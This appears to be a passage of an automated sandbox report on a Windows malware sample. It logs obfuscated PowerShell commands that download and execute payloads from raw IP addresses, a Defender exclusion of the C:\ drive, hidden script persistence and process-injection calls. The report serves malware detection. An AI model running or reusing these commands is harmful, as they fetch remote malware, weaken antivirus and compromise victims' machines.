                      Source: svchost.exe, 00000019.00000003.2323087139.0000021F67F40000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
                      Source: powershell.exe, 0000000A.00000002.2171111660.0000000005E26000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
                      Source: lsass.exe, 0000003A.00000002.3428474633.000002D6F0CEA000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2370389745.000002D6F0CEA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.T
                      Source: lsass.exe, 0000003A.00000000.2370550462.000002D6F0D9A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2369747054.000002D6F066E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2369664227.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2370985116.000002D6F0DBD000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2369777198.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2369975587.000002D6F0C43000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3426711565.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3428989862.000002D6F0DBD000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2370389745.000002D6F0CEA000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3426415270.000002D6F062F000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0
                      Source: lsass.exe, 0000003A.00000002.3427436623.000002D6F0C46000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2369747054.000002D6F066E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2369777198.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2369975587.000002D6F0C43000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3426711565.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2370389745.000002D6F0CEA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0H
                      Source: lsass.exe, 0000003A.00000000.2370985116.000002D6F0DBD000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2369777198.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3426711565.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3428989862.000002D6F0DBD000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0I
                      Source: powershell.exe, 0000000A.00000002.2168585557.0000000004F17000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
                      Source: powershell.exe, 0000000A.00000002.2168585557.0000000004F17000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
                      Source: lsass.exe, 0000003A.00000000.2369664227.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3426415270.000002D6F062F000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy
                      Source: lsass.exe, 0000003A.00000000.2369664227.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3426415270.000002D6F062F000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
                      Source: powershell.exe, 0000000A.00000002.2168585557.0000000004DC1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3429472207.0000000002914000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.3438340722.0000000002DD4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
                      Source: lsass.exe, 0000003A.00000000.2369664227.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3426513703.000002D6F064E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2369704917.000002D6F064E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3426415270.000002D6F062F000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/07/securitypolicy
                      Source: powershell.exe, 0000000A.00000002.2168585557.0000000004F17000.00000004.00000800.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2369664227.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3426415270.000002D6F062F000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/wsdl/
                      Source: lsass.exe, 0000003A.00000000.2369664227.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3426415270.000002D6F062F000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/wsdl/erties
                      Source: lsass.exe, 0000003A.00000000.2369664227.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3426415270.000002D6F062F000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/wsdl/soap12/
                      Source: lsass.exe, 0000003A.00000000.2369664227.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3426415270.000002D6F062F000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/wsdl/soap12/P
                      Source: powershell.exe, 0000000A.00000002.2168585557.0000000004F17000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
                      Source: lsass.exe, 0000003A.00000000.2369747054.000002D6F066E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2370985116.000002D6F0DBD000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2369777198.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2369975587.000002D6F0C43000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3426711565.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000002.3428989862.000002D6F0DBD000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000003A.00000000.2370389745.000002D6F0CEA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.digicert.com/CPS0
                      Source: powershell.exe, 0000000A.00000002.2168585557.0000000004DC1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore6lB
                      Source: powershell.exe, 0000000A.00000002.2171111660.0000000005E26000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
                      Source: powershell.exe, 0000000A.00000002.2171111660.0000000005E26000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
                      Source: powershell.exe, 0000000A.00000002.2171111660.0000000005E26000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
                      Source: svchost.exe, 00000019.00000003.2323087139.0000021F67F9E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
                      Source: svchost.exe, 00000019.00000003.2323087139.0000021F67F40000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
                      Source: powershell.exe, 0000000A.00000002.2168585557.0000000004F17000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
                      Source: powershell.exe, 0000000A.00000002.2168585557.000000000571B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2168585557.000000000551A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://go.micro
                      Source: powershell.exe, 0000000A.00000002.2171111660.0000000005E26000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
                      Source: unknownNetwork traffic detected: HTTP traffic on port 49734 -> 443
                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49730
                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49741
                      Source: unknownNetwork traffic detected: HTTP traffic on port 49730 -> 443
                      Source: unknownNetwork traffic detected: HTTP traffic on port 49741 -> 443
                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49739
                      Source: unknownNetwork traffic detected: HTTP traffic on port 49715 -> 443
                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49715
                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49737
                      Source: unknownNetwork traffic detected: HTTP traffic on port 49737 -> 443
                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49734
                      Source: unknownNetwork traffic detected: HTTP traffic on port 49739 -> 443
                      Source: unknownHTTPS traffic detected: 172.67.149.76:443 -> 192.168.2.6:49715 version: TLS 1.2
                      Source: unknownHTTPS traffic detected: 172.67.149.76:443 -> 192.168.2.6:49730 version: TLS 1.2
                      Source: unknownHTTPS traffic detected: 104.17.247.203:443 -> 192.168.2.6:49734 version: TLS 1.2
                      Source: unknownHTTPS traffic detected: 88.212.202.52:443 -> 192.168.2.6:49739 version: TLS 1.2
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow created: window name: CLIPBRDWNDCLASSJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow created: window name: CLIPBRDWNDCLASSJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow created: window name: CLIPBRDWNDCLASS
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow created: window name: CLIPBRDWNDCLASS

                      System Summary

                      barindex
                      PE file contains section with special chars
                      Source: LB311.exe.4.drStatic PE information: section name:
                      Source: LB311.exe.4.drStatic PE information: section name: .idata
                      Source: LB311.exe.4.drStatic PE information: section name:
                      Source: Mig.exe.22.drStatic PE information: section name:
                      Source: Mig.exe.22.drStatic PE information: section name: .idata
                      Source: Mig.exe.22.drStatic PE information: section name:
                      Powershell drops PE file
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\LB311.exeJump to dropped file
                      Uses powercfg.exe to modify the power settings
                      Source: C:\Users\user\AppData\Roaming\LB311.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                      Windows Scripting host queries suspicious COM object (likely to drop second stage)
                      Source: C:\Windows\System32\wscript.exeCOM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}
                      Wscript starts Powershell (via cmd or directly)
                      Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://176.113.115.177/x/5.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X
                      Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://176.113.115.177/x/5.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X
                      Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://176.113.115.177/x/5.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X
                      Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://176.113.115.177/x/5.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X
                      Source: C:\Windows\System32\dialer.exeCode function: 51_2_00000001400010C0 OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,FindCloseChangeNotification,CloseHandle,51_2_00000001400010C0
                      Source: C:\Windows\System32\winlogon.exeCode function: 55_2_000002D0165E28C8 NtEnumerateValueKey,NtEnumerateValueKey,55_2_000002D0165E28C8
                      Source: C:\Windows\System32\lsass.exeCode function: 58_2_000002D6F151253C NtQueryDirectoryFileEx,GetFileType,StrCpyW,58_2_000002D6F151253C
                      Source: C:\Windows\System32\lsass.exeCode function: 58_2_000002D6F151202C NtQuerySystemInformation,StrCmpNIW,58_2_000002D6F151202C
                      Source: C:\Windows\System32\dwm.exeCode function: 67_2_000001D15B0528C8 NtEnumerateValueKey,NtEnumerateValueKey,67_2_000001D15B0528C8
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 10_2_04C9B49810_2_04C9B498
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 10_2_04C9B48810_2_04C9B488
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 15_2_00D421EB15_2_00D421EB
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 15_2_00D40B1315_2_00D40B13
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 15_2_00D497F815_2_00D497F8
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 15_2_00D48F2815_2_00D48F28
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 15_2_00D48BE015_2_00D48BE0
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 21_2_00FD21EA21_2_00FD21EA
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 21_2_00FD8D3821_2_00FD8D38
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 21_2_00FD960821_2_00FD9608
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 21_2_00FD89F021_2_00FD89F0
                      Source: C:\Windows\System32\dialer.exeCode function: 51_2_000000014000226C51_2_000000014000226C
                      Source: C:\Windows\System32\dialer.exeCode function: 51_2_00000001400014D851_2_00000001400014D8
                      Source: C:\Windows\System32\dialer.exeCode function: 51_2_000000014000256051_2_0000000140002560
                      Source: C:\Windows\System32\winlogon.exeCode function: 55_2_000002D016581F2C55_2_000002D016581F2C
                      Source: C:\Windows\System32\winlogon.exeCode function: 55_2_000002D0165938A855_2_000002D0165938A8
                      Source: C:\Windows\System32\winlogon.exeCode function: 55_2_000002D01658D0E055_2_000002D01658D0E0
                      Source: C:\Windows\System32\winlogon.exeCode function: 55_2_000002D0165E2B2C55_2_000002D0165E2B2C
                      Source: C:\Windows\System32\winlogon.exeCode function: 55_2_000002D0165F44A855_2_000002D0165F44A8
                      Source: C:\Windows\System32\winlogon.exeCode function: 55_2_000002D0165EDCE055_2_000002D0165EDCE0
                      Source: C:\Windows\System32\lsass.exeCode function: 58_2_000002D6F14ED0E058_2_000002D6F14ED0E0
                      Source: C:\Windows\System32\lsass.exeCode function: 58_2_000002D6F14F38A858_2_000002D6F14F38A8
                      Source: C:\Windows\System32\lsass.exeCode function: 58_2_000002D6F14E1F2C58_2_000002D6F14E1F2C
                      Source: C:\Windows\System32\lsass.exeCode function: 58_2_000002D6F151DCE058_2_000002D6F151DCE0
                      Source: C:\Windows\System32\lsass.exeCode function: 58_2_000002D6F15244A858_2_000002D6F15244A8
                      Source: C:\Windows\System32\lsass.exeCode function: 58_2_000002D6F1512B2C58_2_000002D6F1512B2C
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 65_2_02D30B1165_2_02D30B11
                      Source: C:\Windows\System32\svchost.exeCode function: 66_2_0000014E41FAD0E066_2_0000014E41FAD0E0
                      Source: C:\Windows\System32\svchost.exeCode function: 66_2_0000014E41FB38A866_2_0000014E41FB38A8
                      Source: C:\Windows\System32\svchost.exeCode function: 66_2_0000014E41FA1F2C66_2_0000014E41FA1F2C
                      Source: C:\Windows\System32\svchost.exeCode function: 66_2_0000014E41FDDCE066_2_0000014E41FDDCE0
                      Source: C:\Windows\System32\svchost.exeCode function: 66_2_0000014E41FE44A866_2_0000014E41FE44A8
                      Source: C:\Windows\System32\svchost.exeCode function: 66_2_0000014E41FD2B2C66_2_0000014E41FD2B2C
                      Source: C:\Windows\System32\dwm.exeCode function: 67_2_000001D15B021F2C67_2_000001D15B021F2C
                      Source: C:\Windows\System32\dwm.exeCode function: 67_2_000001D15B02D0E067_2_000001D15B02D0E0
                      Source: C:\Windows\System32\dwm.exeCode function: 67_2_000001D15B0338A867_2_000001D15B0338A8
                      Source: C:\Windows\System32\dwm.exeCode function: 67_2_000001D15B052B2C67_2_000001D15B052B2C
                      Source: C:\Windows\System32\dwm.exeCode function: 67_2_000001D15B05DCE067_2_000001D15B05DCE0
                      Source: C:\Windows\System32\dwm.exeCode function: 67_2_000001D15B0644A867_2_000001D15B0644A8
                      Source: C:\Windows\System32\svchost.exeCode function: 68_2_0000023AF32C38A868_2_0000023AF32C38A8
                      Source: C:\Windows\System32\svchost.exeCode function: 68_2_0000023AF32BD0E068_2_0000023AF32BD0E0
                      Source: C:\Windows\System32\svchost.exeCode function: 68_2_0000023AF32B1F2C68_2_0000023AF32B1F2C
                      Source: C:\Windows\System32\svchost.exeCode function: 68_2_0000023AF32F44A868_2_0000023AF32F44A8
                      Source: C:\Windows\System32\svchost.exeCode function: 68_2_0000023AF32EDCE068_2_0000023AF32EDCE0
                      Source: C:\Windows\System32\svchost.exeCode function: 68_2_0000023AF32E2B2C68_2_0000023AF32E2B2C
                      Source: file.exe, 00000000.00000002.2124631145.0000000000406000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenameRUN.exe vs file.exe
                      Source: file.exe, 00000000.00000003.2123987689.00000000004FF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamePowerShell.EXEj% vs file.exe
                      Source: file.exe, 00000000.00000003.2123514575.00000000004FF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamePowerShell.EXEj% vs file.exe
                      Source: file.exe, 00000000.00000002.2124777316.00000000004D3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamePowerShell.EXE.MUIj% vs file.exe
                      Source: file.exe, 00000000.00000003.2123514575.00000000004D3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamePowerShell.EXE.MUIj% vs file.exe
                      Source: file.exe, 00000000.00000002.2124854737.00000000004FF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamePowerShell.EXEj% vs file.exe
                      Source: file.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                      Source: file.exe, 00000000.00000002.2124598971.0000000000405000.00000004.00000001.01000000.00000003.sdmpBinary or memory string: 1.vbp 8m
                      Source: file.exe, file.exe, 00000000.00000002.2124537762.0000000000401000.00000020.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000000.2115779443.0000000000401000.00000020.00000001.01000000.00000003.sdmpBinary or memory string: 1.vbp
                      Source: classification engineClassification label: mal100.troj.spyw.expl.evad.winEXE@93/31@4/6
                      Source: C:\Windows\System32\dialer.exeCode function: 51_2_000000014000226C GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,FindCloseChangeNotification,FindResourceA,SizeofResource,LoadResource,LockResource,GetCurrentProcessId,RegCreateKeyExW,ConvertStringSecurityDescriptorToSecurityDescriptorW,RegSetKeySecurity,LocalFree,RegCreateKeyExW,GetCurrentProcessId,RegSetValueExW,RegCloseKey,RegCloseKey,CreateThread,GetProcessHeap,HeapAlloc,CreateThread,CreateThread,SleepEx,51_2_000000014000226C
                      Source: C:\Windows\System32\dialer.exeCode function: 51_2_00000001400019C4 SysAllocString,SysAllocString,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,VariantInit,CoUninitialize,SysFreeString,SysFreeString,51_2_00000001400019C4
                      Source: C:\Windows\System32\dialer.exeCode function: 51_2_000000014000226C GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,FindCloseChangeNotification,FindResourceA,SizeofResource,LoadResource,LockResource,GetCurrentProcessId,RegCreateKeyExW,ConvertStringSecurityDescriptorToSecurityDescriptorW,RegSetKeySecurity,LocalFree,RegCreateKeyExW,GetCurrentProcessId,RegSetValueExW,RegCloseKey,RegCloseKey,CreateThread,GetProcessHeap,HeapAlloc,CreateThread,CreateThread,SleepEx,51_2_000000014000226C
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\Public\0x1.logJump to behavior
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7328:120:WilError_03
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7336:120:WilError_03
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7584:120:WilError_03
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7884:120:WilError_03
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7960:120:WilError_03
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeMutant created: NULL
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7184:120:WilError_03
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7968:120:WilError_03
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeMutant created: \Sessions\1\BaseNamedObjects\RGHEHTJT4GEJHTJSHJAJHAJHA
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7484:120:WilError_03
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7424:120:WilError_03
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6368:120:WilError_03
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7820:120:WilError_03
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7656:120:WilError_03
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7732:120:WilError_03
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5424:120:WilError_03
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4616:120:WilError_03
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeMutant created: \Sessions\1\BaseNamedObjects\RGHEHTJT4GEJHTJSHJAJHAJHA-admin
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3580:120:WilError_03
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7692:120:WilError_03
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7536:120:WilError_03
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7640:120:WilError_03
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5748:120:WilError_03
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dnb1vcf0.pbt.ps1Jump to behavior
                      Source: file.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                      Source: C:\Users\user\Desktop\file.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
                      Source: C:\Users\user\Desktop\file.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                      Source: file.exeVirustotal: Detection: 27%
                      Source: LB311.exeString found in binary or memory: 3Cannot find '%s'. Please, re-install this application
                      Source: Mig.exeString found in binary or memory: 3Cannot find '%s'. Please, re-install this application
                      Source: unknownProcess created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
                      Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://85.28.47.8/x/L.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://85.28.47.8/x/M.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://85.28.47.8/S.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\ipconfig.exe "C:\Windows\system32\ipconfig.exe" /flushdns
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\ipconfig.exe "C:\Windows\system32\ipconfig.exe" /flushdns
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c attrib +h C:\Users\Public\0x1.log
                      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\attrib.exe attrib +h C:\Users\Public\0x1.log
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\ipconfig.exe "C:\Windows\system32\ipconfig.exe" /flushdns
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                      Source: unknownProcess created: C:\Windows\System32\wscript.exe "C:\Windows\system32\wscript.exe" //E:VBScript C:\Users\Public\0x1.log //Nologo
                      Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://176.113.115.177/x/5.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
